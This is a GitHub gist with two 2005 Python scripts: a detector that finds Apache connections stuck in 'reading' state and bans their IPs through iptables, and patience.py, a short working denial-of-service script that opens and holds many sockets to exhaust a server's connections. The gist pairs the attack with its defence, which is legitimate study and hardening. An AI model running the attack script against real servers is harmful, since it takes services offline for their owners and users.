Created
May 20, 2014 06:13
-
-
Save tangentstorm/2306ba6a664a0c73dc47 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python | |
# * overview | |
""" | |
program to detect a patience attack on apache | |
shows a histogram of apache 'reading' | |
connections by ip addresses, data which | |
can then be used to block the attack. | |
usage: impatience.py --block | |
--block : kills the process and invokes blockip.py | |
to ban the ipaddress via iptables. | |
see patience.py for the attack. | |
--- | |
(c) 2005 sabren enterprises inc [ http://cornerhost.com/ ] | |
This program is free software; you can redistribute it and/or | |
modify it under the terms of the GNU General Public License | |
as published by the Free Software Foundation; either version 2 | |
of the License, or (at your option) any later version. | |
[ http://www.gnu.org/copyleft/gpl.html ] | |
""" | |
# * depdencies | |
from __future__ import generators | |
import urllib | |
import socket | |
import os, sys | |
import time | |
# * config | |
hydrogen = "67.19.173.68" | |
my_ip = socket.gethostbyname(socket.gethostname()) | |
# Note: in addition to mod_status, you need "ExtendedStatus On" | |
MOD_STATUS_PAGE = "http://%s/status?notable" % socket.gethostname() | |
IPTABLES = "/sbin/iptables" | |
# * --- | |
# * stillReading | |
def stillReading(): | |
""" | |
parse mod_status page and return a list of | |
process id's that are still reading. | |
""" | |
data = urllib.urlopen(MOD_STATUS_PAGE).read() | |
for line in data.split("\n"): | |
if line.count("Read"): | |
pid = line[line.find("(")+1:line.find(")")] | |
yield pid | |
# * httpSessions | |
def httpSessions(): | |
""" | |
yields a series of (address, pid) pairs for open http connections | |
""" | |
for lineNL in os.popen("/bin/netstat -pant | grep :80").read().split("\n"): | |
line = lineNL.strip() | |
if line.endswith("httpd"): | |
(proto, recvq, sendq, local_address, | |
foreign_address, state, pid_program_name) = line.split() | |
pid = pid_program_name.split("/")[0] | |
# -2 gets the ip address.. SHOULD work for ipv6 too.. | |
yield foreign_address.split(":")[-2], pid | |
# * attackers | |
def attackers(): | |
""" | |
yields a series of ( badguy, pid ) pairs | |
""" | |
victims = list(stillReading()) | |
for ip, pid in httpSessions(): | |
if pid in victims: | |
yield ip, pid | |
# * incidentMap | |
def incidentMap(series): | |
""" | |
returns dict of { ip : [pid] } | |
""" | |
hist = {} | |
for badguy, pid in attackers(): | |
hist.setdefault(badguy, []) | |
hist[badguy].append(pid) | |
return hist | |
# * incidents | |
def incidents(series): | |
""" | |
yields a series of (ip, [pid]) pairs | |
""" | |
data = incidentMap(series) | |
ips = data.keys() | |
ips.sort(lambda a,b: cmp(len(data[a]), len(data[b]))) | |
for badguy in ips: | |
yield badguy, data[badguy] | |
# * block | |
def block(series, threshold): | |
for badguy, pids in series: | |
evil = bool(len(pids) >= threshold) | |
if evil: | |
for pid in pids: | |
os.system("kill -KILL %s" % pid) | |
# block for 1 minute | |
if badguy not in [hydrogen, my_ip]: | |
os.system(IPTABLES + " -A INPUT -s %s -p tcp -j DROP" % badguy) | |
#os.system("blacklist block %s 60" % badguy) | |
yield badguy, pids, evil | |
# * loop | |
def loop(delay, series, threshold): | |
while True: | |
time.sleep(delay) | |
os.popen(IPTABLES + " --flush") | |
#print "flushing..." | |
for badguy, pids, blocked in block(incidents(series), threshold): | |
if blocked: | |
pass #print "blocked %s" % badguy | |
# * --- | |
# * main | |
if __name__=="__main__": | |
threshold = 5 | |
if "-t" in sys.argv: | |
try: | |
threshold = int(sys.argv[sys.argv.index("-t")+1]) | |
except: | |
print "-t requires an argument ( threshold value )" | |
sys.exit() | |
if "--all" in sys.argv: | |
# use all connectoins | |
series = httpSessions() | |
else: | |
# limit to 'reading' connections | |
# (by cross referencing with mod_status | |
series = attackers() | |
if "--loop" in sys.argv: | |
try: | |
delay = int(sys.argv[sys.argv.index("--loop")+1]) | |
except: | |
print "-t requires an argument ( threshold value )" | |
sys.exit() | |
else: | |
loop(delay, series, threshold) | |
else: | |
# show histogram | |
for badguy, pids, blocked in block(incidents(series), threshold): | |
sys.stdout.write("%-15s %3s %s" | |
% (badguy, len(pids), "*" * len(pids))) | |
if blocked: | |
sys.stdout.write(" - blocked!") | |
# end of the line :) | |
sys.stdout.write("\n") | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python | |
""" | |
patience attack demo (denial of service) | |
opens multiple socket connections to | |
a target host / port, in hopes of | |
reaching the service's maximum | |
number of open sockets. | |
Relies on the server having enough | |
patience to keep the socket open. | |
(eg, apache defaults to 300seconds) | |
see impatience.py to diagnose the attack. | |
--- | |
(c) 2005 sabren enterprises inc [ http://cornerhost.com/ ] | |
This program is free software; you can redistribute it and/or | |
modify it under the terms of the GNU General Public License | |
as published by the Free Software Foundation; either version 2 | |
of the License, or (at your option) any later version. | |
[ http://www.gnu.org/copyleft/gpl.html ] | |
""" | |
import sys | |
import socket | |
def attack(host, port): | |
s = socket.socket() | |
s.connect((host, port)) | |
return s | |
if __name__=="__main__": | |
try: | |
_, host, _port, _count = sys.argv | |
port = long(_port) | |
count = long(_count) | |
except: | |
print "usgage: patience.py host port count" | |
else: | |
patience = [attack(host, port) for each in range(count)] | |
print "holding %s connections to %s on port %s..." % (count, host, port) | |
while True: continue |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment